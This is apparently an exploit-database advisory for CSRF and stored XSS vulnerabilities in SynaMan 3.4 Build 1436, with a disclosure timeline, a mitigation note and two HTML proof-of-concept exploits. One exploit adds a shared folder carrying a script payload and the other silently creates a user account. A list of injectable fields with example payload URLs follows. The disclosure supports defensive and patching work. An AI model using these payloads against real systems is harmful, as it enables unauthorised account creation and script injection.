Multiple vulnerabilities in SynaMan 3.4 Build 1436 (CSRF/Stored XSS)

vendor:

SynaMan

by:

Marlow Tannhauser

7.5

CVSS

HIGH

CSRF/Stored XSS

352

CWE

Product Name: SynaMan

Affected Version From: 3.4 Build 1436

Affected Version To: 3.4 Build 1436

Patch Exists: Yes

Related CWE: 2015-3140

CPE: a:synametrics:synaman:3.4

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: None

2015

Multiple vulnerabilities in SynaMan 3.4 Build 1436 (CSRF/Stored XSS)

SynaMan 3.4 Build 1436 is vulnerable to CSRF attacks, which can also be combined with stored XSS attacks (authenticated administrators only). The JSESSIONID created when a user logs on to the system is persistent and does not change across requests. The following PoC uses the CSRF vulnerability together with one of the stored XSS vulnerabilities, to create a new shared folder in the application. The following PoC uses the CSRF vulnerability to create a new user with the details shown.

Mitigation:

The vendor has released a patch to address the vulnerabilities.

Source

Exploit-DB raw data:

# Exploit Title: Multiple vulnerabilities in SynaMan 3.4 Build 1436 (CSRF/Stored XSS)
# Date: 07-05-2015
# Exploit Author: Marlow Tannhauser
# Contact: marlowtannhauser@gmail.com
# Vendor Homepage: http://www.synametrics.com
# Software Link: http://web.synametrics.com/SynaManDownload.htm
# Version: 3.4 Build 1436. Earlier versions may also be affected.
# CVE: 2015-3140
# Category: Web apps


# DISCLOSURE TIMELINE #
08/02/2015: Initial disclosure to vendor and CERT
09/02/2015: Acknowledgment of vulnerabilities from vendor
11/02/2015: Disclosure deadline of 01/03/2015 agreed with vendor
19/02/2015: Disclosure deadline renegotiated to 01/04/2015 at vendor's request
09/04/2015: Disclosure deadline renegotiated to 20/04/2015 at vendor's request
20/04/2015: Confirmation of fix from vendor
07/05/2015: Disclosure

Note that the CVE-ID is for the CSRF vulnerability only. No CVE-ID has been generated for the stored XSS vulnerabilities. The vulnerable version of the product is no longer available for download from the vendor's webpage.


# EXPLOIT DESCRIPTION #
SynaMan 3.4 Build 1436 is vulnerable to CSRF attacks, which can also be combined with stored XSS attacks (authenticated administrators only). The JSESSIONID created when a user logs on to the system is persistent and does not change across requests.


# POC 1 #
The following PoC uses the CSRF vulnerability together with one of the stored XSS vulnerabilities, to create a new shared folder in the application.

<html>
<img src="http://192.168.0.8:6060/app?sharedName=%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E&selectedPath=C%3A\&publicRead=1&publicWrite=1&operation=mngFolders&st=addFolder" alt="" width="1" height="1">
</html>


# POC 2 #
The following PoC uses the CSRF vulnerability to create a new user with the details shown.

<html>
<body>
<form name="evilform" method="post" action="http://192.168.1.67:6060/app?operation=mngUsers">
<input type="hidden" name="fullName" value="marlow"/>
<input type="hidden" name="login" value="marlow@marlow.com" />
<input type="hidden" name="password" value="marlow" />
<input type="hidden" name="operation" value="mngUsers" />
<input type="hidden" name="st" value="saveUser" />
<input type="hidden" name="oldLogin" value="" />
<input type="hidden" name="modifyUser" value="false" />
</form>
<script type="text/javascript">
document.evilform.submit();
</script>
</body>
</html>


# STORED XSS VULNERABILITIES # 
Stored XSS vulnerabilities are present in the following fields:

Managing Shared Folders > Shared folder name field
Example URL: http://192.168.0.8:6060/app?sharedName=%3Cscript%3Ealert%28%22Hello1%22%29%3C%2Fscript%3E&selectedPath=C%3A\&publicRead=1&publicWrite=1&operation=mngFolders&st=addFolder

Manage Users > Add a new user > User's name field and Email/Login field
Example URL: POST request

Advanced Configuration > Partial Branding > Main heading field and Sub heading field
Affects all users on all pages, pre and post authentication
Example URL: POST request

Discovery Wizard > Discovery Service Signup > One-Word name
Example URL: http://192.168.0.8:6060/app?oneword=%3Cscript%3Ealert%28%22Marlow%22%29%3C%2Fscript%3E&x=35&y=21&operation=discovery&st=checkAvailability


# MITIGATION #
Upgrade to the latest build of SynaMan, available from the link shown.